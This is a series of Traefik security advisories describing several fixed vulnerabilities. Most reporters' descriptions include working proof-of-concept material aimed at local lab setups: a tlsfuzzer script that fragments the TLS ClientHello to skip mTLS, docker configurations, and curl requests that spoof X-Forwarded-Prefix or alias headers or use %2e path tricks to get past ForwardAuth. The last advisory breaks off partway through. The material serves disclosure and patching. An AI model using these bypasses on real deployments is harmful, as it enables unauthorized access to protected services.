Summary

There is a potential vulnerability in Traefik's TLS SNI pre-sniffing logic related to fragmented ClientHello packets.

When a TLS ClientHello is fragmented across multiple records, Traefik's SNI extraction may fail with an EOF and return an empty SNI. The TCP router then falls back to the default TLS configuration, which does not require client certificates by default. This allows an attacker to bypass route-level mTLS enforcement and access services that should require mutual TLS authentication.

Patches

- https://github.com/traefik/traefik/releases/tag/v2.11.41 - https://github.com/traefik/traefik/releases/tag/v3.6.11 - https://github.com/traefik/traefik/releases/tag/v3.7.0-ea.2

For more information

If you have any questions or comments about this advisory, please open an issue.

<details> <summary>Original Description</summary>

Summary I found a behavior in Traefik's latest version where fragmented ClientHello packets can cause pre-sniff SNI extraction to not find the sni (EOF during sniff), which makes the TCP router fall back to default routing TLS config.

If the default TLS config does not require client certificates (which is NoClientCert by default), the handshake succeeds without client auth, and the request is later routed to the HTTP Host which should be the protected with client certificate authentication (RequireAndVerifyClientCert tls config).

Details The vulnerability is caused by a mismatch between where Traefik decides the TLS policy per host and where Go TLS can finally parse the full ClientHello.

1. In router.go, ServeTCP function calls clientHelloInfo. 2. clientHelloInfo peeks only one TLS record length (recLen) and then peeks exactly 5 + recLen bytes. It runs a temporary TLS parse on those bytes to extract the SNI. If ClientHello is fragmented, pre-sniff may return empty SNI (With fragmentation, first record can be incomplete for full ClientHello parsing). 4. clientHelloInfo still returns isTLS=true and empty SNI (it thinks there is no sni so it applies the default tls config (Which is by default NoClientCert which is permissive) 5. Real Go TLS handshake succeeds later without requiring the client cert. 6. Request is routed to the host that should have been protected.

Conditions required for impact: - Route-level TLS options enforce mTLS for a host. - Default TLS config is weaker (noClientCert, which is the default default). - Pre-sniff fails to extract SNI (due to fragmented ClientHello).

A workaround for this is to set the default tls config to RequireAndVerifyClientCert (but then you need to explicitly define for each permissive host the NoClientCert TLS config).

A suggestion to fix is to parse the complete ClientHello before tls config decision (handle multi-record fragmentation).

PoC python prerequisites (ubuntu/debian, in rhel/fedora you need to run only the install command (dnf) but with "docker" instead of docker.io and podman will emulate it) sudo apt update sudo apt install -y docker.io openssl git python3 python3-venv sudo usermod -aG docker "$USER" in debian/ubuntu run newgrp docker to apply the new group to the user

mkdir -p /tmp/traefik-frag-poc/{certs,config/dynamic} cd /tmp/traefik-frag-poc

CA openssl genrsa -out certs/ca.key 4096 openssl req -x509 -new -nodes -key certs/ca.key -sha256 -days 3650 \ -subj "/CN=PoC-CA" -out certs/ca.crt

Server cert (whoami.home.arpa) cat > certs/server.cnf <<'EOFSERVERCNF' [req] distinguishedname = dn reqextensions = v3req prompt = no

[dn] CN = whoami.home.arpa

[v3req] subjectAltName = @altnames

[altnames] DNS.1 = whoami.home.arpa EOFSERVERCNF

openssl genrsa -out certs/traefik.key 2048 openssl req -new -key certs/traefik.key -out certs/traefik.csr -config certs/server.cnf openssl x509 -req -in certs/traefik.csr -CA certs/ca.crt -CAkey certs/ca.key -CAcreateserial \ -out certs/traefik.crt -days 365 -sha256 -extensions v3req -extfile certs/server.cnf

Client cert (valid client) openssl genrsa -out certs/client.key 2048 openssl req -new -key certs/client.key -subj "/CN=client1" -out certs/client.csr openssl x509 -req -in certs/client.csr -CA certs/ca.crt -CAkey certs/ca.key -CAcreateserial \ -out certs/client.crt -days 365 -sha256

cat > config/traefik.yml <<'EOFTRAEFIKCFG' entryPoints: websecure: address: ":8443"

providers: file: directory: /etc/traefik/dynamic watch: true

log: level: DEBUG EOFTRAEFIKCFG

cat > config/dynamic/dynamic.yml <<'EOFDYNAMICCFG' http: routers: whoami: rule: "Host(whoami.home.arpa)" entryPoints: - websecure service: whoami tls: options: mtls

services: whoami: loadBalancer: servers: - url: "http://whoami:80"

tls: certificates: - certFile: /certs/traefik.crt keyFile: /certs/traefik.key

options: mtls: clientAuth: caFiles: - /certs/ca.crt clientAuthType: RequireAndVerifyClientCert EOFDYNAMICCFG

docker network create traefik-poc

run a whoami microservice for the bypass demonstration docker run -d \ --name whoami \ --network traefik-poc \ --restart unless-stopped \ traefik/whoami:v1.11.0

docker run -d \ --name traefik \ --network traefik-poc \ -p 8443:8443 \ --restart unless-stopped \ -v "$PWD/config/traefik.yml:/etc/traefik/traefik.yml:ro,Z" \ -v "$PWD/config/dynamic:/etc/traefik/dynamic:ro,Z" \ -v "$PWD/certs:/certs:ro,Z" \ traefik:3.6.10 \ --configFile=/etc/traefik/traefik.yml

watch traefik logs to ensure everything was deployed correctly docker logs traefik

tlsfuzzer setup + frag client script

mkdir -p /tmp/testtlsfuzz cd /tmp/testtlsfuzz git clone https://github.com/tlsfuzzer/tlsfuzzer.git cd tlsfuzzer

python3 -m venv .venv source .venv/bin/activate pip install -r requirements.txt

cat > fragclienthello.py <<'EOFFRAGSCRIPT' import argparse import sys import os

from tlsfuzzer.runner import Runner from tlsfuzzer.messages import ( Connect, SetMaxRecordSize, ClientHelloGenerator, CertificateGenerator, CertificateVerifyGenerator, ClientKeyExchangeGenerator, ChangeCipherSpecGenerator, FinishedGenerator, ApplicationDataGenerator, AlertGenerator, ) from tlsfuzzer.expect import ( ExpectServerHello, ExpectCertificate, ExpectServerKeyExchange, ExpectCertificateRequest, ExpectServerHelloDone, ExpectChangeCipherSpec, ExpectFinished, ExpectApplicationData, ExpectAlert, ExpectClose, ) from tlsfuzzer.helpers import SIGALL from tlslite.constants import ( CipherSuite, ExtensionType, AlertLevel, AlertDescription, GroupName, ) from tlslite.extensions import ( SNIExtension, TLSExtension, SupportedGroupsExtension, SignatureAlgorithmsExtension, SignatureAlgorithmsCertExtension, ) from tlslite.utils.keyfactory import parsePEMKey from tlslite.x509 import X509 from tlslite.x509certchain import X509CertChain

class PrettyExpectApplicationData(ExpectApplicationData): def process(self, state, msg): super().process(state, msg) text = msg.write().decode("utf-8", errors="replace") head, , body = text.partition("\r\n\r\n") print("\n=== HTTP RESPONSE ===") print(head) print() print(body) print("=== END HTTP RESPONSE ===\n")

def loadclientcertandkey(certpath, keypath): cert = None key = None

if certpath: textcert = open(certpath, "rb").read() if sys.versioninfo[0] >= 3: textcert = str(textcert, "utf-8") cert = X509() cert.parse(textcert)

if keypath: textkey = open(keypath, "rb").read() if sys.versioninfo[0] >= 3: textkey = str(textkey, "utf-8") key = parsePEMKey(textkey, private=True)

return cert, key

def main(): p = argparse.ArgumentParser() p.addargument("--connect-host", default="127.0.0.1") p.addargument("--port", type=int, default=8443) p.addargument("--sni", default="whoami.home.arpa") p.addargument("--record-size", type=int, default=512) p.addargument("--padding-len", type=int, default=1200) p.addargument("--expect-cert-request", action="storetrue") p.addargument("--client-cert-pem", default="") p.addargument("--client-key-pem", default="") args = p.parseargs()

cert, key = loadclientcertandkey(args.clientcertpem, args.clientkeypem)

print(f"[DBG] certarg={args.clientcertpem!r} keyarg={args.clientkeypem!r}") for p in [args.clientcertpem, args.clientkeypem]: if p: print(f"[DBG] file={p} exists={os.path.exists(p)} size={os.path.getsize(p) if os.path.exists(p) else -1}")

print(f"[DBG] certloaded={cert is not None} keyloaded={key is not None}") print(f"[DBG] bool(cert)={bool(cert) if cert is not None else None} bool(key)={bool(key) if key is not None else None}")

if (args.clientcertpem or args.clientkeypem) and not (cert and key): raise ValueError("Provide both --client-cert-pem and --client-key-pem")

conv = Connect(args.connecthost, args.port) node = conv node = node.addchild(SetMaxRecordSize(args.recordsize))

ext = { ExtensionType.servername: SNIExtension().create(bytearray(args.sni, "ascii")), ExtensionType.supportedgroups: SupportedGroupsExtension().create( [GroupName.secp256r1, GroupName.ffdhe2048] ), ExtensionType.signaturealgorithms: SignatureAlgorithmsExtension().create(SIGALL), ExtensionType.signaturealgorithmscert: SignatureAlgorithmsCertExtension().create(SIGALL), 21: TLSExtension().create(21, bytearray(args.paddinglen)), }

ciphers = [ CipherSuite.TLSECDHERSAWITHAES128GCMSHA256, CipherSuite.TLSECDHERSAWITHAES128CBCSHA, CipherSuite.TLSDHERSAWITHAES128CBCSHA, CipherSuite.TLSEMPTYRENEGOTIATIONINFOSCSV, ]

node = node.addchild(ClientHelloGenerator(ciphers, extensions=ext)) node = node.addchild(ExpectServerHello()) node = node.addchild(ExpectCertificate()) node = node.addchild(ExpectServerKeyExchange())

if args.expectcertrequest: node = node.addchild(ExpectCertificateRequest())

node = node.addchild(ExpectServerHelloDone())

if args.expectcertrequest and cert and key: node = node.addchild(CertificateGenerator(X509CertChain([cert]))) node = node.addchild(ClientKeyExchangeGenerator()) node = node.addchild(CertificateVerifyGenerator(key)) node = node.addchild(ChangeCipherSpecGenerator()) node = node.addchild(FinishedGenerator()) node = node.addchild(ExpectChangeCipherSpec()) node = node.addchild(ExpectFinished()) req = bytearray( f"GET / HTTP/1.1\r\nHost: {args.sni}\r\nConnection: close\r\n\r\n".encode("ascii") ) node = node.addchild(ApplicationDataGenerator(req)) node = node.addchild(PrettyExpectApplicationData(output=sys.stdout)) node = node.addchild(AlertGenerator(AlertLevel.warning, AlertDescription.closenotify)) node = node.addchild(ExpectAlert()) node.nextsibling = ExpectClose()

elif args.expectcertrequest and not (cert and key): node = node.addchild(CertificateGenerator()) node = node.addchild(ClientKeyExchangeGenerator()) node = node.addchild(ChangeCipherSpecGenerator()) node = node.addchild(FinishedGenerator()) node = node.addchild(ExpectChangeCipherSpec()) node = node.addchild(ExpectFinished())

else: node = node.addchild(ClientKeyExchangeGenerator()) node = node.addchild(ChangeCipherSpecGenerator()) node = node.addchild(FinishedGenerator()) node = node.addchild(ExpectChangeCipherSpec()) node = node.addchild(ExpectFinished()) req = bytearray( f"GET / HTTP/1.1\r\nHost: {args.sni}\r\nConnection: close\r\n\r\n".encode("ascii") ) node = node.addchild(ApplicationDataGenerator(req)) node = node.addchild(PrettyExpectApplicationData(output=sys.stdout)) node = node.addchild(AlertGenerator(AlertLevel.warning, AlertDescription.closenotify)) node = node.addchild(ExpectAlert()) node.nextsibling = ExpectClose()

try: Runner(conv).run() print("[OK] conversation completed") except AssertionError as e: print(f"[TLS RAW ERROR] {e}") marker = "Unexpected message from peer: " s = str(e) if marker in s: print(f"[TLS PEER MESSAGE] {s.split(marker, 1)[1].strip()}") raise

if name == "main": main() EOFFRAGSCRIPT

chmod +x fragclienthello.py cd /tmp/testtlsfuzz/tlsfuzzer source .venv/bin/activate

case 1: non fragmented, no client cert (strict mTLS path, should fail. traefik logs should inform that client didn't provide a certificate) python fragclienthello.py \ --connect-host 127.0.0.1 \ --port 8443 \ --sni whoami.home.arpa \ --record-size 16384 \ --expect-cert-request

case 1b with openssl instead of my script printf 'GET / HTTP/1.1\r\nHost: whoami.home.arpa\r\nConnection: close\r\n\r\n' | \ openssl sclient \ -connect 127.0.0.1:8443 \ -servername whoami.home.arpa \ -tls12 \ -CAfile /tmp/traefik-frag-poc/certs/ca.crt \ -state -msg -tlsextdebug -verifyreturnerror

case 2: non fragmented, with valid client cert (should succeed) python fragclienthello.py \ --connect-host 127.0.0.1 \ --port 8443 \ --sni whoami.home.arpa \ --record-size 16384 \ --expect-cert-request \ --client-cert-pem /tmp/traefik-frag-poc/certs/client.crt \ --client-key-pem /tmp/traefik-frag-poc/certs/client.key

case 2b with openssl instead of my script printf 'GET / HTTP/1.1\r\nHost: whoami.home.arpa\r\nConnection: close\r\n\r\n' | \ openssl sclient -connect 127.0.0.1:8443 -servername whoami.home.arpa -tls12 \ -cert /tmp/traefik-frag-poc/certs/client.crt \ -key /tmp/traefik-frag-poc/certs/client.key \ -CAfile /tmp/traefik-frag-poc/certs/ca.crt -quiet

case 3 fragmented ClientHello, no client cert (bypass behavior test) python fragclienthello.py \ --connect-host 127.0.0.1 \ --port 8443 \ --sni whoami.home.arpa \ --record-size 500 in the record-size you can play with it as long as the client hello sni sniff function returns an EOF

Impact An attacker can bypass route-level mTLS enforcement by fragmenting ClientHello so Traefik pre-sniff fails (EOF) and falls back to default permissive TLS config.

</details>

--

Summary

There is a high-severity authentication bypass vulnerability in Traefik's ForwardAuth middleware when trustForwardHeader=false is configured and Traefik is deployed behind a trusted upstream proxy.

While X-Forwarded- headers (such as X-Forwarded-For, X-Forwarded-Host, and X-Forwarded-Proto) from trusted context are correctly rebuilt, it does not strip or rebuild X-Forwarded-Prefix, leaving any attacker-supplied value intact in the subrequest forwarded to the authentication service.

When the authentication service makes authorization decisions based on X-Forwarded-Prefix, an external attacker can spoof a trusted prefix value and gain unauthorized access to protected backend routes.

Patches

- https://github.com/traefik/traefik/releases/tag/v2.11.43 - https://github.com/traefik/traefik/releases/tag/v3.6.14 - https://github.com/traefik/traefik/releases/tag/v3.7.0-rc.2

For more information

If there are any questions or comments about this advisory, please open an issue.

<details> <summary>Original Description</summary>

Summary ForwardAuth with trustForwardHeader=false still forwards an attacker-controlled X-Forwarded-Prefix header to the authentication service when Traefik is deployed behind a trusted upstream proxy. If the auth service relies on X-Forwarded-Prefix for authorization or routing decisions, an external attacker can bypass access controls and reach protected backend routes.

This was validated this against Traefik v3.6.12 using the official Docker image and a minimal local Docker setup. A direct request to Traefik is correctly rejected, but the same request succeeds when sent through a trusted reverse proxy, which shows the issue is in the ForwardAuth subrequest handling rather than general ingress header stripping.

Details The vulnerable behavior comes from the way Traefik builds the subrequest sent to the forward-auth server.

In pkg/middlewares/auth/forward.go, writeHeader first copies all incoming request headers into the auth subrequest:

go func writeHeader(req, forwardReq http.Request, trustForwardHeader bool, allowedHeaders []string) { utils.CopyHeaders(forwardReq.Header, req.Header) ... forwardReq.Header = filterForwardRequestHeaders(forwardReq.Header, allowedHeaders)

It then selectively rebuilds only a subset of forwarded headers when trustForwardHeader=false, for example:

- X-Forwarded-For - X-Forwarded-Method - X-Forwarded-Proto - X-Forwarded-Port - X-Forwarded-Host - X-Forwarded-Uri

However, it does not remove or rebuild X-Forwarded-Prefix, so an attacker-supplied value remains in the auth request even when forwarded headers are supposed to be untrusted.

This becomes security-relevant when StripPrefix is used before ForwardAuth. In pkg/middlewares/stripprefix/stripprefix.go, Traefik appends the stripped prefix using Header.Add:

go func (s stripPrefix) serveRequest(rw http.ResponseWriter, req http.Request, prefix string) { req.Header.Add(ForwardedPrefixHeader, prefix)

If the attacker already sent X-Forwarded-Prefix: /admin, and StripPrefix later adds /forbidden, the auth service receives both values in this order:

1. /admin (attacker-controlled) 2. /forbidden (Traefik-generated)

An auth service that uses the first X-Forwarded-Prefix value can therefore be tricked into authorizing a protected route.

Why this appears unintended:

- The docs say trustForwardHeader means "Trust all X-Forwarded- headers" and defaults to false. - The migration notes say X-Forwarded-Prefix is handled like other X-Forwarded- headers and removed from untrusted sources. - The direct-to-Traefik test case behaves consistently with that expectation and returns 403. - Only the auth subrequest path still honors the spoofed X-Forwarded-Prefix.

Relevant source/documentation locations:

- pkg/middlewares/auth/forward.go lines 393-459 - pkg/middlewares/stripprefix/stripprefix.go lines 65-68 - pkg/middlewares/forwardedheaders/forwardedheader.go lines 15-43 - docs/content/reference/routing-configuration/http/middlewares/forwardauth.md lines 59-62 and 130-140 - docs/content/migrate/v3.md lines 192-196

This was only tested and validated with X-Forwarded-Prefix. By source review, other forwarded headers that are copied but not rebuilt in writeHeader may deserve separate review, but I am not claiming impact for them here.

PoC The following uses the official traefik:v3.6.12 Docker image and a mounted traefik.toml, matching the documented deployment style.

1. Create traefik.toml:

toml [entryPoints] [entryPoints.web] address = ":80" [entryPoints.web.forwardedHeaders] trustedIPs = ["172.31.79.0/24"]

[providers] [providers.file] filename = "/etc/traefik/dynamic.toml" watch = false

[log] level = "DEBUG"

[accessLog]

2. Create dynamic.toml:

toml [http.routers] [http.routers.app] entryPoints = ["web"] rule = "Host(app.local) && PathPrefix(/forbidden)" middlewares = ["strip-forbidden", "authz"] service = "backend"

[http.middlewares] [http.middlewares.strip-forbidden.stripPrefix] prefixes = ["/forbidden"]

[http.middlewares.authz.forwardAuth] address = "http://auth:8000/check" trustForwardHeader = false authResponseHeaders = ["X-Auth-First-Prefix", "X-Auth-All-Prefixes"]

[http.services] [http.services.backend.loadBalancer] [[http.services.backend.loadBalancer.servers]] url = "http://backend:80"

3. Create auth.py:

python import json from http.server import BaseHTTPRequestHandler, HTTPServer

class Handler(BaseHTTPRequestHandler): def doGET(self): if not self.path.startswith("/check"): self.sendresponse(404) self.endheaders() return

prefixes = self.headers.getall("X-Forwarded-Prefix") or [] first = prefixes[0] if prefixes else "" payload = { "path": self.path, "firstprefix": first, "allprefixes": prefixes, "xforwardedfor": self.headers.getall("X-Forwarded-For") or [], } print(json.dumps(payload), flush=True)

if first == "/admin": self.sendresponse(200) self.sendheader("X-Auth-First-Prefix", first) self.sendheader("X-Auth-All-Prefixes", "|".join(prefixes)) self.endheaders() self.wfile.write(b"authorized\n") return

self.sendresponse(403) self.sendheader("Content-Type", "application/json") self.endheaders() self.wfile.write(json.dumps(payload).encode() + b"\n")

HTTPServer(("0.0.0.0", 8000), Handler).serveforever()

4. Create frontend.conf:

nginx server { listen 80; accesslog /dev/stdout;

location / { proxyhttpversion 1.1; proxypass http://traefik:80; proxysetheader Host $httphost; proxysetheader X-Forwarded-For $proxyaddxforwardedfor; } }

5. Start the containers:

bash docker network create --subnet 172.31.79.0/24 traefik-readme-net

docker run -d --name traefik-readme-backend \ --network traefik-readme-net \ --network-alias backend \ traefik/whoami

docker run -d --name traefik-readme-auth \ --network traefik-readme-net \ --network-alias auth \ -v "$PWD/auth.py:/app/auth.py:ro" \ -w /app \ python:3.12-alpine \ python /app/auth.py

docker run -d --name traefik-readme-traefik \ --network traefik-readme-net \ --network-alias traefik \ -p 18081:80 \ -v "$PWD/traefik.toml:/etc/traefik/traefik.toml:ro" \ -v "$PWD/dynamic.toml:/etc/traefik/dynamic.toml:ro" \ traefik:v3.6.12

docker run -d --name traefik-readme-frontend \ --network traefik-readme-net \ -p 18080:80 \ -v "$PWD/frontend.conf:/etc/nginx/conf.d/default.conf:ro" \ nginx:alpine

6. Send three requests:

Direct to Traefik, spoofed header: bash curl -sS -i \ -H 'Host: app.local' \ -H 'X-Forwarded-Prefix: /admin' \ http://127.0.0.1:18081/forbidden/test

Expected result: http HTTP/1.1 403 Forbidden ... {"path": "/check", "firstprefix": "/forbidden", "allprefixes": ["/forbidden"]}

Through trusted proxy, no spoofing: bash curl -sS -i \ -H 'Host: app.local' \ http://127.0.0.1:18080/forbidden/test

Expected result: http HTTP/1.1 403 Forbidden ... {"path": "/check", "firstprefix": "/forbidden", "allprefixes": ["/forbidden"]}

Through trusted proxy, spoofed header: bash curl -sS -i \ -H 'Host: app.local' \ -H 'X-Forwarded-Prefix: /admin' \ http://127.0.0.1:18080/forbidden/test

Observed result: http HTTP/1.1 200 OK ... X-Auth-All-Prefixes: /admin|/forbidden X-Auth-First-Prefix: /admin X-Forwarded-Prefix: /admin X-Forwarded-Prefix: /forbidden

The backend response confirms that the request reached the protected upstream after the auth service accepted the attacker-controlled prefix.

7. Optional log confirmation from the auth service:

bash docker logs traefik-readme-auth

Observed log sequence: json {"path": "/check", "firstprefix": "/forbidden", "allprefixes": ["/forbidden"], ...} {"path": "/check", "firstprefix": "/forbidden", "allprefixes": ["/forbidden"], ...} {"path": "/check", "firstprefix": "/admin", "allprefixes": ["/admin", "/forbidden"], ...}

8. Cleanup:

bash docker rm -f traefik-readme-traefik traefik-readme-backend traefik-readme-auth traefik-readme-frontend docker network rm traefik-readme-net

Impact This is an authentication bypass / trust-boundary bypass.

Affected deployments are those that:

- run Traefik behind a trusted upstream proxy - use ForwardAuth - rely on trustForwardHeader=false to avoid trusting client-supplied forwarded headers - pass X-Forwarded-Prefix to the auth service, which happens by default when authRequestHeaders is empty - make authorization or routing decisions based on X-Forwarded-Prefix, especially when StripPrefix runs before ForwardAuth In those environments, an unauthenticated external attacker can influence the auth service's view of the protected path and gain access to backend routes that should be denied.

</details>

----

Summary

There is a high severity authentication bypass vulnerability in Traefik's ForwardAuth and snippet-based authentication middleware. Traefik's forwarded-header sanitization logic targets only canonical header names (e.g., X-Forwarded-Proto) and does not strip or normalize alias variants that use underscores instead of dashes (e.g., XForwardedProto). These unsanitized alias headers are forwarded intact to the authentication backend. When the backend normalizes underscore and dash header forms equivalently, an attacker can inject spoofed trust context — such as a trusted scheme or host — through the alias headers and bypass authentication on protected routes without valid credentials.

Patches

- https://github.com/traefik/traefik/releases/tag/v2.11.43 - https://github.com/traefik/traefik/releases/tag/v3.6.14 - https://github.com/traefik/traefik/releases/tag/v3.7.0-rc.2

For more information

If there are any questions or comments about this advisory, please open an issue.

<details> <summary>Original Description</summary>

Summary An authentication bypass arises from chaining two bugs: incomplete forwarded-header sanitization at ingress and overly permissive header forwarding in pre-auth subrequests. While canonical X-Forwarded- headers are handled, alias variants (e.g., underscore forms) are neither normalized nor stripped consistently. When downstream auth services normalize these headers, attackers can inject trusted context and bypass authentication on protected routes without credentials.

Details This issue results from the interaction between forwarded-header handling and auth subrequest construction, creating a trust boundary mismatch.

At ingress, Traefik defines a fixed set of canonical forwarded headers (X-Forwarded-Proto, X-Forwarded-For, etc.):

Reference : pkg/middlewares/forwardedheaders/forwardedheader.go#L29-L36

go var xHeaders = []string{ xForwardedProto, xForwardedFor, xForwardedHost, xForwardedPort,

This logic focuses exclusively on canonical header names and does not account for alias forms such as XForwardedProto. As a result, while standard headers may be sanitized or rewritten, semantically equivalent variants can pass through unchanged.

During ForwardAuth processing, request headers are copied wholesale into the auth subrequest:

Reference : pkg/middlewares/auth/forward.go#L401-L408

go utils.CopyHeaders(forwardReq.Header, req.Header) RemoveConnectionHeaders(forwardReq) utils.RemoveHeaders(forwardReq.Header, hopHeaders...)

This implementation forwards nearly all client-supplied headers to the auth backend, with filtering limited to hop-by-hop headers. There is no normalization or deduplication between canonical and alias header forms, meaning attacker-controlled headers can reach the auth service intact.

A similar pattern exists in snippet-based auth:

Reference : pkg/middlewares/ingressnginx/snippet/snippet.go#L574-L581

go utils.CopyHeaders(forwardReq.Header, req.Header) RemoveConnectionHeaders(forwardReq) utils.RemoveHeaders(forwardReq.Header, hopHeaders...)

Again, headers are forwarded without enforcing a consistent trust model or canonicalization.

The vulnerability emerges when the auth backend normalizes header names (e.g., treating XForwardedProto and X-Forwarded-Proto equivalently). In that case:

- Traefik sanitizes only canonical headers. - Alias headers remain attacker-controlled. - The auth service merges or evaluates these aliases during normalization. - Trust predicates (e.g., scheme = HTTPS, trusted host) are satisfied using spoofed values.

This allows a single crafted request to simultaneously bypass ingress trust enforcement and satisfy authentication checks, resulting in unauthorized access to protected backends.

PoC

1. Configure a protected route using ForwardAuth or snippet-based auth, with an auth backend that normalizes header names (underscore ↔ dash). 2. Send a control request (expected: denied):

http GET / HTTP/1.1 Host: target.local User-Agent: poc-control Connection: close

3. Send an exploit request with alias headers (expected: allowed):

http GET /protected HTTP/1.1 Host: app.example.local XForwardedProto: https XForwardedHost: trusted.example Connection: close

Impact This vulnerability allows unauthenticated attackers to bypass authentication at the proxy-to-auth boundary by injecting spoofed trust context through header aliases. In deployments where authorization decisions depend on forwarded headers, attackers can access protected endpoints and interact with backend services as if they were fully authenticated. This effectively undermines ForwardAuth and similar mechanisms, potentially exposing sensitive internal functionality and data.

Suggested Remediation 1. Strip and regenerate both canonical and alias forms of forwarded headers consistently at ingress and during auth subrequests. 2. Apply a unified normalization policy across all forwarded header families (including RFC7239 and X-Forwarded-). 3. Restrict which headers are forwarded to auth services (prefer explicit allowlists). 4. Add regression tests covering alias normalization inconsistencies across common backend frameworks.

</details>

---

Summary

There is a high severity authentication bypass vulnerability in Traefik's StripPrefixRegex middleware when used in combination with ForwardAuth, BasicAuth, or DigestAuth.

The middleware matches the regex against the decoded URL path but uses the resulting byte length to slice the percent-encoded raw path. When a dot (or multiple dots) appears in the prefix portion of the URL, the raw path after stripping becomes a dot-segment (e.g. /./admin/secret).

ForwardAuth receives this dot-segment path in X-Forwarded-Uri, which does not match the protected path patterns and therefore allows the request through. The backend then normalizes the dot-segment to the real path per RFC 3986 and serves the protected content

An unauthenticated attacker can exploit this against any backend that performs dot-segment normalization.

Patches

- https://github.com/traefik/traefik/releases/tag/v2.11.43 - https://github.com/traefik/traefik/releases/tag/v3.6.14 - https://github.com/traefik/traefik/releases/tag/v3.7.0-rc.2

For more information

If there are any questions or comments about this advisory, please open an issue.

<details> <summary>Original Description</summary>

Summary

StripPrefixRegex uses the byte length of a decoded Path match to slice the encoded RawPath. When percent-encoded characters are in the prefix region, this produces a wrong RawPath. ForwardAuth then receives this wrong path in X-Forwarded-Uri, sees a path that doesn't match its protection rules, and approves the request. The backend serves protected content.

### Details

pkg/middlewares/stripprefixregex/stripprefixregex.go, line 62:

go req.URL.RawPath = ensureLeadingSlash(req.URL.RawPath[len(prefix):])

prefix comes from matching the regex against the decoded req.URL.Path (line 51). len(prefix) is then used to index into the encoded req.URL.RawPath. These lengths don't match when percent-encoding is present.

Example with regex ^/api:

- GET /api%20/admin/secret - Decoded Path: /api /admin/secret -> prefix = /api (4 bytes) - Encoded RawPath: /api%20/admin/secret -> same region is 6 bytes - RawPath[4:] = %20/admin/secret -> after ensureLeadingSlash -> /%20/admin/secret - ForwardAuth sees X-Forwarded-Uri: /%20/admin/secret -> not /admin/ -> allows it - Backend serves the protected admin content

PoC

Requires Docker and Docker Compose. I have a setup that runs Traefik v3.6.11 with StripPrefixRegex + ForwardAuth + a backend. It sends a normal request (blocked, 403) and an encoded request (bypasses auth, 200, returns protected data). Can share the files here if useful.

Impact

Auth bypass. Any path protected by ForwardAuth, BasicAuth, or DigestAuth can be accessed without credentials when StripPrefixRegex is in the same middleware chain. The attacker only needs to add a percent-encoded character to the prefix portion of the URL.

---

Updated PoC (reporter follow-up)

After further testing, the confirmed working exploit uses %2e (percent-encoded dot) rather than %20. Dot-segment normalization (/./ -> /) is RFC 3986 standard behavior handled automatically by Express.js, Go's http.ServeMux, Spring Boot, and others — no custom configuration needed.

Chain:

GET /api%2e/admin/secret -> StripPrefixRegex strips /api -> RawPath becomes /./admin/secret -> ForwardAuth sees /./admin/secret -> does not match /admin/ -> allows -> Express normalizes /./admin/secret -> /admin/secret -> serves protected content

Results (Traefik v3.6, unmodified Express.js express.static):

GET /api/admin/secret -> 403 (blocked) GET /api%2e/admin/secret -> 200 (bypass — served protected content) GET /api%20/admin/secret -> 404 (space not normalized by backend)

Auth server logs:

X-Forwarded-Uri: '/admin/secret' -> DENIED X-Forwarded-Uri: '/./admin/secret' -> ALLOWED

Reproduction:

bash docker compose up -d --build --wait curl http://localhost:8080/api/admin/secret # -> 403 curl --path-as-is "http://localhost:8080/api%2e/admin/secret" # -> 200

</details>

---

Summary

There is a medium severity information disclosure vulnerability in Traefik's errors (custom error pages) middleware. When the backend returns a response matching the configured status range, the middleware forwards the original request's complete header set, including Authorization, Cookie, and other authentication material, to the separate error page service rather than only the minimal context needed to render the error page. This behavior is undocumented: the documentation states only that Host is forwarded by default, so operators are not warned that sensitive credentials are shared across service boundaries. Deployments using the errors middleware with a distinct error page service may inadvertently expose end-user credentials to infrastructure that was not intended to receive them.

Patches

- https://github.com/traefik/traefik/releases/tag/v2.11.44 - https://github.com/traefik/traefik/releases/tag/v3.6.15 - https://github.com/traefik/traefik/releases/tag/v3.7.0-rc.3

For more information

If there are any questions or comments about this advisory, please open an issue.

<details> <summary>Original Description</summary>

Description Traefik v3.6.13's supported HTTP errors middleware discloses sensitive request headers to the configured error page service when the original backend response matches the configured status range and the middleware takes its default header-forwarding path. In the reproduced configuration, the business router audit-customerrors@docker pointed to backend service audit-backend, attached middleware audit-leak@docker, and the middleware was configured with errors.status=500-599, errors.service=audit-error, and errors.query=/collect. A request to the business route caused the backend to return 500, after which Traefik created a secondary request to the error service and copied the original Authorization and Cookie headers into that cross-service request.

This is a normal feature path on an ordinary HTTP route. It does not depend on api.insecure, the dashboard, pprof, or a debug-only mode. The confidentiality boundary that breaks here is the service boundary between the original backend chain and the separate error page service: credentials that were only meant for the original backend are automatically delivered to another service.

The root cause is in pkg/middlewares/customerrors/customerrors.go:151-160:

go if len(c.forwardNginxHeaders) > 0 { utils.CopyHeaders(pageReq.Header, c.forwardNginxHeaders) pageReq.Header.Set("X-Code", strconv.Itoa(code)) pageReq.Header.Set("X-Format", req.Header.Get("Accept")) pageReq.Header.Set("X-Original-Uri", req.URL.RequestURI()) } else { utils.CopyHeaders(pageReq.Header, req.Header) }

Unless the NginxHeaders branch is explicitly used, the middleware copies the entire original request header map into the error page request. The documentation at docs/content/reference/routing-configuration/http/middlewares/errorpages.md:103-107 only states that Host is forwarded by default, so operators are not warned that Authorization, Cookie, and other authentication material are forwarded as well.

Steps To Reproduce 1. Deploy Traefik v3.6.13 with a normal business route that uses the supported errors middleware and points errors.service to a distinct service. The attached PoC uses BASEURL = "http://127.0.0.1:28080", APIBASEURL = "http://127.0.0.1:28180", ROUTERPATH = "/audit-customerrors", AUTHORIZATION = "Bearer audit-secret-token", and COOKIE = "sessionid=audit-cookie; theme=dark".

2. Start the two attached helper services customerrorsbackend.py and customerrorserror.py. The backend listens on port 8000 and always returns 500. The error service listens on port 8000 and returns the request method, path, and received headers as JSON. The PoC starts them with the router and middleware labels below so that the business request is handled by the backend, while the error page is fetched from the separate error service:

text traefik.http.routers.audit-customerrors.rule=PathPrefix(/audit-customerrors) traefik.http.routers.audit-customerrors.entrypoints=web traefik.http.routers.audit-customerrors.priority=100 traefik.http.routers.audit-customerrors.service=audit-backend traefik.http.routers.audit-customerrors.middlewares=audit-leak traefik.http.services.audit-backend.loadbalancer.server.port=8000 traefik.http.middlewares.audit-leak.errors.status=500-599 traefik.http.middlewares.audit-leak.errors.service=audit-error traefik.http.middlewares.audit-leak.errors.query=/collect

3. Confirm that Traefik has loaded the route and middleware. The attached customerrorsrouter.json shows that audit-customerrors@docker uses middleware audit-leak@docker, and the attached customerrorsmiddleware.json shows that the middleware is enabled with status 500-599, service audit-error, and query /collect.

